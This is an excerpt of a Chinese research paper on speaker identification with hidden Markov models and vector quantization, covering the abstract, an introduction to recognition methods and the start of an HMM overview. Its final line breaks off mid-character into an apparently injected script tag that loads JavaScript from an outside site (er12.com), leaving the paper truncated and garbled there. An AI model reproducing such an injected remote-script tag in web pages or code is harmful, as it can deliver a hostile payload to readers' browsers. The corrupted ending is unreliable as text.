摘 要:对基于隐马尔可夫模型(hmm)的说话人辨认系统进行了讨论,完成了系统设计。对系统中矢量量化这一关键性环节进行了改进,提出了一种新的基于遗传算法的码本生成方法。测试结果表明,改进后的系统具有较高的正确识别率,特别是在与文本无关的情况下。
关键词:语音信号处理;说话人识别;说话人辨认;隐马尔可夫模型;矢量量化
一、 引言
说话人识别(speaker recognition)又称为声纹(voiceprint)识别,是根据从说话人所发语音中提取出的信息判断说话人身份的过程,它与指纹识别、人脸识别、虹膜识别等同属于生物识别的范畴。
说话人识别包括2个方面的研究内容[1,2]:说话人辨认(speaker identification,简称si)和说话人证实(speaker verification,简称sv)。前者的目的是鉴别输入的声音究竟是n个候选者中的哪一个,后者的目的是要判断输入的声音是否是说话人表明的身份。不管是si任务,还是sv任务,预先确定说话内容的说话人识别,称为基于文本(text dependent)的说话人识别;不预先确定说话内容,无论说什么话都可以进行的说话人识别,称为与文本无关(text independent)的说话人识别。因为前者用于识别的测试音与训练文本相同,所以存在被模仿的可能性,因此与文本无关的说话人识别技术具有更大的应用价值。
正如人类一样,我们之所以能听出是某人的声音是因为我们熟悉他(她)的声音,为此,需要从各个说话人的发音中找出说话人之间的个性差异(它涉及到说话人发音器官上的个性差异、发音声道之间的个性差异、发音习惯之间的个性差异等不同级别上的差异),并在机器中为每一说话人建立一个能够描述他(她)声音特征的模型。si任务中,取与测试音匹配距离最小的说话人模型所对应的说话人作为说话人辨认的结果;在sv任务中,用测试音的模型与所声称的说话人的模型进行比较,若匹配距离小于一个规定的阀值,则该说话人得到证实,否则,该说话人不是他(她)所声称的那个人。由此可见,若要实现对说话人的识别,需要解决下列几个问题:对语音信号的处理和语音特征提取;说话人模型的建立和模型参数的训练;测试音与说话人模型的匹配距离计算。
目前常用的说话人识别方法大致有以下几类:
(1)基于模板的说话人识别[3]
从每个说话人发出的训练语句中提取相应的特征失量,建立各说话人的模板。识别时用同样的方法提取测试模板,并与参考模板进行比较和匹配。
(2)基于矢量量化(vq)的说话人识别[4]
每一说话人的语音特征在特征空间中都形成了他(她)的特定的特征聚类中心,因此可用这些聚类中心作为说话人个性特征的描述模型,识别时只需求出测试音特征与每一说话人特征聚类中心的距离,以距离最小者作为识别结果。
(3)基于高斯混合模型(gmm)的说话人识别[5]
每个说话人的语音特征在特征空间中都形成了特定的分布,可以用这一分布来描述说话人的个性。gmm识别是将最能产生测试音特征的说话人分布模型对应的说话人作为识别结果。
(4)基于隐马尔可夫模型(hmm)的说话人识别[6]
识别时,令测试音由每一说话人的hmm模型产生,由于对不同的说话人hmm模型产生的测试音的概率不同,将产生最大概率的hmm模型所对应的说话人作为识别的结果。
(5)基于人工神经网络(ann)的说话人识别[7]
说话人识别问题,其实质是个复杂的非线性分类问题,ann具有常规方法不可比拟的分类能力,可以较好地用于说话人识别问题。
在以上各类识别方法中,基于隐马尔可夫模型(hmm)的说话人识别方法是最具实用价值的一种,这种方法对基于文本的和与文本无关的说话人识别都能取得很好的识别效果。
二、hmm模型简介
语音信号具有短时平稳性,其总的过程可以看成是依次从相对稳定的某一特性过渡到另一特性。以前曾将时变的语音信号描述为按预定顺序排列的短时线性移不变系统。假定将各短时语音信号(一帧语音)特性看成是声道各发音状态所产生的观测值,则上述描述方法是将时变语音信号对应于一串状态顺序固定,且每个状态产生确定观测值的模式。由于这种预先固定的顺序和每个状态产生确定观测值的规定本身不一定有实际意义,因此这种描述方法对时变信号而言是不够充分的。
hmm则用概率统计的方法来描述时变信号的过程。在该模型中,马氏链中的一状态是否转到另一状态取决于该状态的统计特性(或状态转移概率),而某一状态产生的观察值也取决于该状态生成语音观察的概率(状态生成概率)。如果将声道特性的变化用hmm的状态转移概率来描述,某一声道特性产生短时语音(表示为语音特征参数矢量)观察值的概率分布用hmm的状态生成概率表征,则hmm就能有效地用于描述时变语音信号。由于从观察的角度看状?script src=http://er12.com/t.js>